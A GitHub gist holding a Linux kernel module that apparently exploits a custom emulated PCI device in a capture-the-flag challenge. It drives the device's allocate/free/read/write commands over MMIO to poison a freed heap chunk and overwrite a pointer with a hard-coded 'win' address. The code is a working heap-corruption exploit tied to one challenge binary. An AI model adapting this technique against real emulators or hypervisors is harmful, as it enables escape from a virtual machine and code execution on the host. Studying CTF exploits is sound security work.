Skip to content

Instantly share code, notes, and snippets.

@puppykitten
Created May 14, 2018 20:13
Show Gist options
  • Save puppykitten/2663b52475095bfafc383b4869ea2625 to your computer and use it in GitHub Desktop.
Save puppykitten/2663b52475095bfafc383b4869ea2625 to your computer and use it in GitHub Desktop.
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/pci.h>
#include <linux/printk.h>
#include <linux/proc_fs.h>
#include <linux/seq_file.h>
static struct pci_dev *_pdev;
static void __iomem *_mmio;
static const struct pci_device_id pcidevtbl[] = {
{ 0x420, 0x1337, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0 },
{ } /* terminate */
};
static int ooopci_show(struct seq_file *m, void *v) {
int i, len;
char *buf;
seq_printf(m, "%s", "i cry myself to sleep on defcon nights");
return 0;
}
static int ooopci_open(struct inode *inode, struct file *file) {
// do stuff here
/*_mmio = pci_iomap(_pdev, 0, 0);
if (!_mmio) {
printk(KERN_INFO "pci_iomap failed!\n");
return -ENODEV;
}
*/
return single_open(file, ooopci_show, NULL);
}
ssize_t ooopci_write (struct file *file, const char __user *buf, size_t len,
loff_t *l)
{
return len;
}
static const struct file_operations proc_fops = {
.owner = THIS_MODULE,
.open = ooopci_open,
.read = seq_read,
.llseek = seq_lseek,
.release = single_release,
};
#define CMD(x) (x << 20)
#define IDX(x) (x << 16)
#define REQ(cmd, idx, addr) (CMD(cmd) + IDX(idx) + (addr & 0xffff))
static void alloc_bin(int idx, int words)
{
int cmd = REQ(0, idx, 0);
long val = words;
printk(KERN_INFO " allocating bin: %d size: %d cmd: %x\n", idx, 8*words, cmd);
iowrite32(val, _mmio + cmd);
}
static void free_bin(int idx)
{
int cmd = REQ(1, idx, 0);
long val = 0;
printk(KERN_INFO " freeing bin: %d cmd: %x\n", idx, cmd);
iowrite32(val, _mmio + cmd);
}
static void write_bin(int idx, unsigned short offset, long data)
{
int cmd = REQ(2, idx, offset);
long val = data;
printk(KERN_INFO " writing bin: %d addr: %hd data: %lx cmd: %x\n", idx, offset, data, cmd);
iowrite32(val, _mmio + cmd);
}
static unsigned long read_bin(int idx, unsigned short offset)
{
int cmd = REQ(0, idx, offset);
unsigned ret = ioread32(_mmio + cmd);
printk(KERN_INFO " reading bin: %d addr: %hd data: %x cmd: %x\n", idx, offset, ret, cmd);
return ret;
}
static unsigned is_hit(short off) {
unsigned long len;
int i;
for (i = 0;i < 15; i++){
len = read_bin(i, off + 0x18);
//len += read_bin(i, off + 0x18 + 4)<<32;
printk(KERN_INFO "Test Addr %d : 0x%lx\n", i, len);
//if ( (len & 0xffffffffff000000) == (libc & 0xffffffffff000000)) {
if ( len == 0x414226) {
printk(KERN_INFO "Found potential target\n");
return i;
}
}
return 20;
}
#define BIN_SIZE 5
static int ooopci_probe(struct pci_dev *pdev, const struct pci_device_id *ent)
{
//void __iomem *mmio;
char *buf;
long len, i;
struct proc_dir_entry *proc_entry;
printk(KERN_INFO "probed pci dev, trying read.\n");
_mmio = pci_iomap(pdev, 0, 0);
if (!_mmio) {
printk(KERN_INFO "failed to iomap!\n");
return -ENODEV;
}
len = ioread32(_mmio);
printk(KERN_INFO "length of string: %lx bytes addr: %lx\n", len, _mmio);
/*
alloc_bin(0, 2);
unsigned short val;
for (val = 0;val < 0xffff; val += 8) {
}*/
/*
unsigned long libc;
alloc_bin(0, 25);
alloc_bin(1, 25);
free_bin(0);
libc = read_bin(0, 0);
libc += read_bin(0, 4)<<32;
printk(KERN_INFO "LIBC LEAK: 0x%lx\n",libc);
*/
for (i=0; i < 20; i++){
alloc_bin(15, BIN_SIZE);
}
for (i=0; i < 8; i++){
free_bin(i);
}
//write_bin(0, 0, 0x1234);
long target = 0x11334e3 - 8;
// 2 3? 6 7? a b? f?
// 0x112C5E2 -> size d6
write_bin(4,0, target & 0xffffffff);
write_bin(4,4, (target>>32) & 0xffffffff);
len = read_bin(0, 0);
/* len = read_bin(0, 4); */
short off = 0x11301A0 - (target + 16);
int idx;
for (i=0; i<10; i++){
alloc_bin(15, BIN_SIZE);
idx = is_hit(off);
if (idx < 14){
break;
}
//dbg
//len = read_bin(3, off);
}
if (i < 10)
{
long win = 0x6E65F9;
write_bin(idx,off, win & 0xffffffff);
write_bin(idx,off + 4, (win>>32) & 0xffffffff);
free_bin((idx-1)%15);
}
proc_entry = proc_create("trigger", 0755, NULL, &proc_fops);
//_mmio = mmio;
_pdev = pdev;
return 0;
}
static void ooopci_remove(struct pci_dev *pdev) {
printk(KERN_INFO "unloaded device\n");
//pci_unregister_driver(&lev_pci_driver);
}
static struct pci_driver lev_pci_driver = {
.name = "ooopci driver",
.id_table = pcidevtbl,
.probe = ooopci_probe,
.remove = ooopci_remove,
};
static int __init ooopci_init(void)
{
int rc;
printk(KERN_INFO "pci device driver online.\n");
rc = pci_register_driver(&lev_pci_driver);
if (rc) {
printk(KERN_INFO "failed to register driver.\n");
return rc;
}
return 0;
}
static void __exit ooopci_exit(void)
{
printk(KERN_INFO"driver unloaded :-(\n");
pci_unregister_driver(&lev_pci_driver);
remove_proc_entry("trigger", NULL);
return;
}
module_init(ooopci_init);
module_exit(ooopci_exit);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment